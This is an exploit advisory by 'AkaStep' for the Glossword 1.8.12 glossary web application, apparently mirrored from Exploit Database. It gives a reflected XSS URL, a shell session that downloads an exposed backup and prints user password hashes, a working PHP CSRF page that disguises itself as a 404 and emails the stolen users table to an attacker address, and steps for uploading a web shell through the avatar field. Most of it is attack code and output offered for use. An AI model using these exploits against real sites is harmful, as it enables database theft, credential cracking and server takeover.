glossword 1.8.12 – Multiple Vulnerabilities

Exploit Database
114 阅读

作者： AkaStep

日期： 2013-02-05
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/24456/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

===================================================

Vulnerable Software: Glossword 1.8.12

Tested version: Glossword 1.8.12

Download: http://sourceforge.net/projects/glossword/files/glossword/1.8.12/

Vulns: XSS && Database Backup Disclosure && CSRF &&Shell upload.

Dork: Powered by Glossword 1.8.12

===================================================

Tested On: Debian squeeze 6.0.6

Server version: Apache/2.2.16 (Debian)

Apache traffic server 3.2.0

MYSQL: 5.1.66-0+squeeze1

PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug6 2012 20:08:59)

===================================================

About vulns:

XSS

http://hacker1.own/glosslatest/glossword/1.8/gw_admin.php?a="><script>alert(1);</script>&t=settings

===================================================

Database Backup disclosure:

root@debian:/etc/apache2/htdocs/hacker1/glosslatest/glossword/1.8/gw_temp/gw_export/sql_backup_2013-02Feb-03# grep 'umask' /etc/pam.d/common-session

sessionoptional pam_umask.so umask=0067

root@debian:/etc/apache2/htdocs/hacker1/glosslatest/glossword/1.8/gw_temp/gw_export/sql_backup_2013-02Feb-03# umask -S

u=rwx,g=x,o=

# NOTE 1: Notice database backups chmod'ed to 777 by script#

# NOTICE 2: BELOW database backups is accessible via HTTP REQUESTS #

root@debian:/etc/apache2/htdocs/hacker1/glosslatest/glossword/1.8/gw_temp/gw_export/sql_backup_2013-02Feb-03# ls -liash

total 1.1M

65345 4.0K drwxrwxrwx 2 hacker1user hacker1user 4.0K Feb3 08:41 .

60499 4.0K drwxr-xr-x 3 hacker1user hacker1user 4.0K Feb3 08:40 ..

6534768K -rwxrwxrwx 1 hacker1user hacker1user64K Feb3 08:40 backup_gwnew_abbr_phrase.sql

6534612K -rwxrwxrwx 1 hacker1user hacker1user 9.8K Feb3 08:40 backup_gwnew_abbr.sql

65367 4.0K -rwxrwxrwx 1 hacker1user hacker1user402 Feb3 08:40 backup_gwnew_auth_restore.sql

65359 4.0K -rwxrwxrwx 1 hacker1user hacker1user304 Feb3 08:40 backup_gwnew_captcha.sql

65350 4.0K -rwxrwxrwx 1 hacker1user hacker1user 1.3K Feb3 08:40 backup_gwnew_component_actions.sql

65349 8.0K -rwxrwxrwx 1 hacker1user hacker1user 6.2K Feb3 08:40 backup_gwnew_component_map.sql

65348 4.0K -rwxrwxrwx 1 hacker1user hacker1user 1.7K Feb3 08:40 backup_gwnew_component.sql

65365 4.0K -rwxrwxrwx 1 hacker1user hacker1user 1.5K Feb3 08:40 backup_gwnew_custom_az_profiles.sql

6536436K -rwxrwxrwx 1 hacker1user hacker1user33K Feb3 08:40 backup_gwnew_custom_az.sql

65368 240K -rwxrwxrwx 1 hacker1user hacker1user 234K Feb3 08:41 backup_gwnew_dict_example.sql

65351 4.0K -rwxrwxrwx 1 hacker1user hacker1user 3.6K Feb3 08:40 backup_gwnew_dict.sql

65374 268K -rwxrwxrwx 1 hacker1user hacker1user 263K Feb3 08:41 backup_gwnew_history_terms.sql

65363 4.0K -rwxrwxrwx 1 hacker1user hacker1user 2.6K Feb3 08:40 backup_gwnew_import_sessions.sql

65369 4.0K -rwxrwxrwx 1 hacker1user hacker1user326 Feb3 08:41 backup_gwnew_map_user_to_dict.sql

6537024K -rwxrwxrwx 1 hacker1user hacker1user23K Feb3 08:41 backup_gwnew_map_user_to_term.sql

65353 8.0K -rwxrwxrwx 1 hacker1user hacker1user 4.3K Feb3 08:40 backup_gwnew_pages_phrase.sql

65352 8.0K -rwxrwxrwx 1 hacker1user hacker1user 4.1K Feb3 08:40 backup_gwnew_pages.sql

65354 4.0K -rwxrwxrwx 1 hacker1user hacker1user485 Feb3 08:40 backup_gwnew_search_results.sql

65355 4.0K -rwxrwxrwx 1 hacker1user hacker1user538 Feb3 08:40 backup_gwnew_sessions.sql

65356 8.0K -rwxrwxrwx 1 hacker1user hacker1user 4.2K Feb3 08:40 backup_gwnew_settings.sql

65357 4.0K -rwxrwxrwx 1 hacker1user hacker1user321 Feb3 08:40 backup_gwnew_stat_dict.sql

65358 4.0K -rwxrwxrwx 1 hacker1user hacker1user599 Feb3 08:40 backup_gwnew_stat_search.sql

65373 8.0K -rwxrwxrwx 1 hacker1user hacker1user 8.0K Feb3 08:41 backup_gwnew_theme_group.sql

65371 260K -rwxrwxrwx 1 hacker1user hacker1user 256K Feb3 08:41 backup_gwnew_theme_settings.sql

65372 4.0K -rwxrwxrwx 1 hacker1user hacker1user 1.5K Feb3 08:41 backup_gwnew_theme.sql

65361 4.0K -rwxrwxrwx 1 hacker1user hacker1user908 Feb3 08:40 backup_gwnew_topics_phrase.sql

65360 4.0K -rwxrwxrwx 1 hacker1user hacker1user761 Feb3 08:40 backup_gwnew_topics.sql

65362 4.0K -rwxrwxrwx 1 hacker1user hacker1user 3.2K Feb3 08:40 backup_gwnew_users.sql

65366 4.0K -rwxrwxrwx 1 hacker1user hacker1user949 Feb3 08:40 backup_gwnew_virtual_keyboard.sql

6537532K -rwxrwxrwx 1 hacker1user hacker1user29K Feb3 09:03 backup_gwnew_wordlist.sql

6537648K -rwxrwxrwx 1 hacker1user hacker1user46K Feb3 08:41 backup_gwnew_wordmap.sql

root@debian:/etc/apache2/htdocs/hacker1/glosslatest/glossword/1.8/gw_temp/gw_export/sql_backup_2013-02Feb-03# cd /tmp

root@debian:/tmp#wget --user-agent="BACKUP DISCLOSURE EXAMPLE" http://hacker1.own/glosslatest/glossword/1.8/gw_temp/gw_export/sql_backup_2013-02Feb-03/backup_gwnew_users.sql && cat backup_gwnew_users.sql

--2013-02-03 09:13:17--http://hacker1.own/glosslatest/glossword/1.8/gw_temp/gw_export/sql_backup_2013-02Feb-03/backup_gwnew_users.sql

Resolving hacker1.own... 127.0.0.1

Connecting to hacker1.own|127.0.0.1|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 3184 (3.1K) [text/plain]

Saving to: “backup_gwnew_users.sql”

100%[======================================================================================>] 3,184 --.-K/s in 0s

2013-02-03 09:13:17 (13.7 MB/s) - “backup_gwnew_users.sql” saved [3184/3184]

SET NAMES 'utf8';

DROP TABLE IF EXISTS <code>gwnew_users</code>;

CREATE TABLE <code>gwnew_users</code> (

id_user</code> int(10) unsigned NOT NULL AUTO_INCREMENT,

password</code> char(32) NOT NULL,

is_active</code> tinyint(1) unsigned NOT NULL DEFAULT '1',

is_multiple</code> tinyint(1) unsigned NOT NULL DEFAULT '0',

is_show_contact</code> tinyint(1) unsigned NOT NULL DEFAULT '1',

date_reg</code> int(10) unsigned NOT NULL DEFAULT '0',

date_login</code> int(10) unsigned NOT NULL DEFAULT '0',

int_items</code> int(10) unsigned NOT NULL DEFAULT '0',

user_fname</code> varbinary(64) NOT NULL,

user_sname</code> varbinary(64) NOT NULL,

user_email</code> varchar(255) NOT NULL,

user_perm</code> blob NOT NULL,

user_settings</code> blob NOT NULL,

PRIMARY KEY (<code>id_user</code>)

) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8;

INSERT INTO <code>gwnew_users</code> VALUES ('1','guest','084e0343a0486ff05530df6c705c8bb4','1','0','0','0','1359897241','1','Guest','','guest@localhost.tld','a:0:{}',0x613a343a7b733a363a226c6f63616c65223b733a333a22656e67223b733a383a226c6f636174696f6e223b733a303a22223b733a31303a22676d745f6f6666736574223b733a313a2230223b733a31323a2264696374696f6e6172696573223b613a303a7b7d7d);

INSERT INTO <code>gwnew_users</code> VALUES ('2','admin','01a8e7efac66ec52b417af55940e4719','1','0','1','1359915020','1359898817','23','Admin User',' ','admin@hacker1.own','a:16:{s:8:\"IS-EMAIL\";i:1;s:8:\"IS-LOGIN\";i:1;s:11:\"IS-PASSWORD\";i:1;s:8:\"IS-USERS\";i:1;s:13:\"IS-TOPICS-OWN\";i:1;s:9:\"IS-TOPICS\";i:1;s:12:\"IS-DICTS-OWN\";i:1;s:8:\"IS-DICTS\";i:1;s:12:\"IS-TERMS-OWN\";i:1;s:8:\"IS-TERMS\";i:1;s:15:\"IS-TERMS-IMPORT\";i:1;s:15:\"IS-TERMS-EXPORT\";i:1;s:13:\"IS-CPAGES-OWN\";i:1;s:9:\"IS-CPAGES\";i:1;s:15:\"IS-SYS-SETTINGS\";i:1;s:10:\"IS-SYS-MNT\";i:1;}',0x613a31393a7b733a31303a226176617461725f696d67223b733a31373a22313335393839373436315f73312e706870223b733a31323a226176617461725f696d675f79223b4e3b733a31323a226176617461725f696d675f78223b4e3b733a31303a22676d745f6f6666736574223b733a313a2233223b733a393a2269735f68746d6c6564223b733a313a2231223b733a31333a2269735f7573655f617661746172223b693a303b733a31313a226c6f63616c655f6e616d65223b733a373a22656e2d75746638223b733a383a226c6f636174696f6e223b733a303a22223b733a31313a2276697375616c7468656d65223b733a393a2267775f73696c766572223b733a31323a2264696374696f6e6172696573223b613a303a7b7d733a363a2269735f647374223b693a303b733a31313a22646174655f666f726d6174223b733a31333a2246206a2c20592c20673a692061223b733a31333a22696d706f72745f666f726d6174223b733a333a22637376223b733a32313a22696d706f72745f69735f636865636b5f6578697374223b693a303b733a31393a22696d706f72745f69735f6f7665727772697465223b693a303b733a32323a22696d706f72745f69735f7370656369616c6368617273223b693a303b733a32303a22696d706f72745f69735f77686974657370616365223b693a303b733a32313a22696d706f72745f69735f636f6e766572745f657363223b693a303b733a32303a22696d706f72745f69735f726561645f6669727374223b693a303b7d);

INSERT INTO <code>gwnew_users</code> VALUES ('3','test','098f6bcd4621d373cade4e832627b4f6','1','0','1','1359898749','0','0','','','','a:0:{}',0x613a333a7b733a383a226c6f636174696f6e223b733a303a22223b733a31313a226c6f63616c655f6e616d65223b733a373a22656e2d75746638223b733a31323a2264696374696f6e6172696573223b613a303a7b7d7d);root@debian:/tmp#

In this example: backup_gwnew_users.sql gwnew_ is my custom table prefix.In fact while installing script it is = gw_

Feel free to create your own bruteforcer:

Format is:

sql_backup_2013-02Feb-03/backup_{TABLE_PREFIX}_users.sql

Also table prefix is not panacea ANYMORE.

If Directory index is not forbidden on remote site/server you can see whole :

site.tld/gw_export/sql_backup_2013-02Feb-03/

directory structure and you can download it in that way.

Ok this is not end.

Theris another vector of exploitation using CSRF vulnerability.

Here we go (CSRF+database dump stealer)

Simply trick the logged in admin to visit malicious page.

If the attack successfull it will silenty @mail to you victim's database.

==============EXPLOIT BEGINS=====================

<?php

error_reporting(0);

//echo '/gw_temp/gw_export/sql_backup_'. date('Y-mM-d');

http://hacker1.own/glosslatest/glossword/1.8/gw_temp/gw_export/sql_backup_2013-02Feb-03/

//exit;

define("TARGETSITE",'http://hacker1.own/glosslatest/glossword/1.8/');

define("HACKERMAIL",'hacker@g00glemail.tld');

define("STANDARDTABLEPREFIX",'gw_');

header('Status: 404 Not found!');

echo '<h1>Not Found</h1>

<p>The requested URL was not found on this server.</p>

<hr>

<address>Apache Server at '.$_SERVER['HTTP_HOST'].' Port ' . $_SERVER['SERVER_PORT'] . '</address>' . str_repeat(PHP_EOL,500);

for($i=1;$i<8;$i++)

{

echo '<img src="https://www.exploit-db.com/exploits/24456/' .TARGETSITE. '/gw_admin.php?a=maintenance&t=settings&w1=8&w2=' . $i . '&w3=" heigth="0" width="0" />' .PHP_EOL;

}

$data=TARGETSITE . '/gw_temp/gw_export/sql_backup_'. date('Y-mM-d') . '/backup_' . STANDARDTABLEPREFIX .'users.sql';

//echo TARGETSITE . '/gw_temp/gw_export/sql_backup_'. date('Y-mM-d') . '/backup_' . STANDARDTABLEPREFIX .'users.sql';exit;

//@mail(HACKERMAIL,'Hello xDuMpS!','CHKOUT' . TARGETSITE . /gw_temp/gw_export/sql_backup_'. date('Y-mM-d') .

$s=file_get_contents($data);

/*uncomment if you want to save on your server # file_put_contents(md5(rand(1,1000)) . '.txt',$s);*/

@mail(HACKERMAIL,'Hello xDuMpS!','CHKOUT' . htmlspecialchars($data) . PHP_EOL . htmlspecialchars($s) .PHP_EOL);

exit;

================EXPLOIT ENDS HERE======================

Ok now about shell upload vulnerability (requires administrative access to site)

After gain access to admin panel (in eg via XSS or using backup disclosure)

Go to:

http://site.tld/gw_admin.php?a=edit-own&t=users

Upload your shell using:Avatar settings tab.

Don't bother about: (*The following file types are allowed: jpg, png*) because it is wrong information.

Trace it like this,access it and travel xD

http://s006.radikal.ru/i215/1302/27/d4b52ad33b39.png

Backup image: http://oi47.tinypic.com/crsde.jpg

================================================

KUDOSSSSSSS

================================================

packetstormsecurity.org

packetstormsecurity.com

packetstormsecurity.net

securityfocus.com

cxsecurity.com

security.nnov.ru

securtiyvulns.com

securitylab.ru

secunia.com

securityhome.eu

exploitsdownload.com

osvdb.com

websecurity.com.ua

1337day.com

itsecuritysolutions.org

to all Aa Team + to all Azerbaijan Black HatZ

+ *Especially to my bro CAMOUFL4G3 *

To All Turkish Hackers

Also special thanks to: ottoman38 & HERO_AZE

================================================

/AkaStep